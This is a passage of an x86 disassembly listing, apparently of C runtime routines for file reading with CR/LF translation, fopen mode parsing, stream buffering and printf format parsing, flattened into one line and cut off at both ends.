[esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC6C0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC5C0h[eax*4] mov eax, dword_4DC5C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2700000h test eax, eax jnz short loc_41F1E4 nop call near ptr 2680925h push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB278, 9 mov dword_4DB27C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2700000h test eax, eax jnz short loc_41F285 call near ptr 2680925h nop test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB2F8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB464 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB460 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB598 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB598 mov [edi+ecx], eax mov eax, dword_4DB598 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C2F8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C2F8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA08 jz short loc_41F5EA cmp esi, offset dword_43CA28 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C950 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C2F8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C514 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C510 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8A0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8AC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8A4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C510 mov [ebp+var_8], ecx loc_41FAFF: ; CODE 